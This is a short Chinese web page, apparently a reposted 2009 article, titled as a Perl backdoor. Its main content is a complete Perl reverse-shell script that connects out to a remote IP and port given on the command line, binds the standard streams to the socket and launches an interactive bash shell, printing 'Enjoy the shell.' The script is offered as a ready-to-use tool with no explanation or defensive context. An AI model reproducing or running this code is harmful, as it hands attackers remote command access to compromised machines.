Backshell后门(Perl版)

2009-8-27 10:26 706 0

摘要: #!/usr/bin/perl -w # use strict; use Socket; use IO::Handle; if($#ARGV+1 != 2){ print "$#ARGV $0 R...

关键词： Remote SOCK ARGV shell autoflush Port connect Socket my use

#!/usr/bin/perl -w # use strict; use Socket; use IO::Handle; if($#ARGV+1 != 2){ print "$#ARGV $0 Remote_IP Remote_Port \n"; exit 1; } my $remote_ip = $ARGV[0]; my $remote_port = $ARGV[1]; my $proto = getprotobyname("tcp"); my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip)); my $shell = '/bin/bash -i'; socket(SOCK, AF_INET, SOCK_STREAM, $proto); STDOUT->autoflush(1); SOCK->autoflush(1); connect(SOCK,$pack_addr) or die "can not connect:$!"; open STDIN, "<&SOCK"; open STDOUT, ">&SOCK"; open STDERR, ">&SOCK"; print "Enjoy the shell.\n"; system($shell); close SOCK; exit 0;

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除